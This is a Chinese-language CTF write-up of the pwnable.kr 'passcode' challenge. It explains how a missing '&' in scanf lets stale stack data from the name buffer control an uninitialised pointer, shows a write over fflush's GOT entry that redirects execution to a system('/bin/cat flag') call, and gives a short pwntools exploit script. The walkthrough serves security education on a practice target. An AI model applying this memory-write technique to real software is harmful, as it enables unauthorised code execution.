pwnable从入门到放弃,第六题。
ssh passcode@pwnable.kr -p2222 (pw:guest)
完全是‘&’的锅。
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
查看整个流程的业务逻辑,貌似没有什么问题,按照提示给出的编译时出现了warning,现尝试编译:
发现,是在scanf函数时,缺少了一个&号,造成的结果是把passcode变量当做指针,对以passcode值寻址到的内存地址进行覆盖,如果passcode可以被控制,则可造成一个DWORD SHOOT。
如何控制passcode?
首先可以看到在welcome函数中有一个name变量,利用scanf进赋值,但这个赋值是安全的,限定了赋值的长度是100个字大小。
并且,通过代码可以看到在执行了welcome函数后立即执行了login函数,中间没有压栈弹栈操作,也没有开alsr等保护,因此二者的ebp是相同的。而name数组长度是100,因此分配的栈块较大,并且passcode没有赋初值,
可以以栈内脏数据的方式时强行赋予passcode初值(传说中的野指针?)。
看一下长度,通过汇编代码看到name变量的起始地址为 EBP-0X70, passcode变量起始地址为EBP-0X10,相差0X60=96,恰巧还有4个字节用于覆盖passcode的值。
再通过输入passcode的值,就可以成功进行DWORD SHOOT。
由于在scanf后立即执行了flush函数,则可以精确覆盖GOT表中flush函数的入口地址,造成强行修改函数逻辑。
通过objdump -R ./passcode命令,可以看到其入口点
在利用gdb 查看system("/bin/cat flag"); 函数的地址,覆盖即可。
使用python pwntools库,可以轻易完成这样的操作。
在操作系统上只有/tmp文件夹是可以写的,因此将写好的脚本放入/tmp下运行即可。
import struct import pwn import subprocess addr = 0x0804a004 name = 'P'*96 + pwn.p32(addr) + str(0x80485e3) target = pwn.process('/home/passcode/passcode') #child = subprocess.Popen(args= ['/home/p4nda/Desktop/passcode',str(name)]) target.send(name) target.interactive()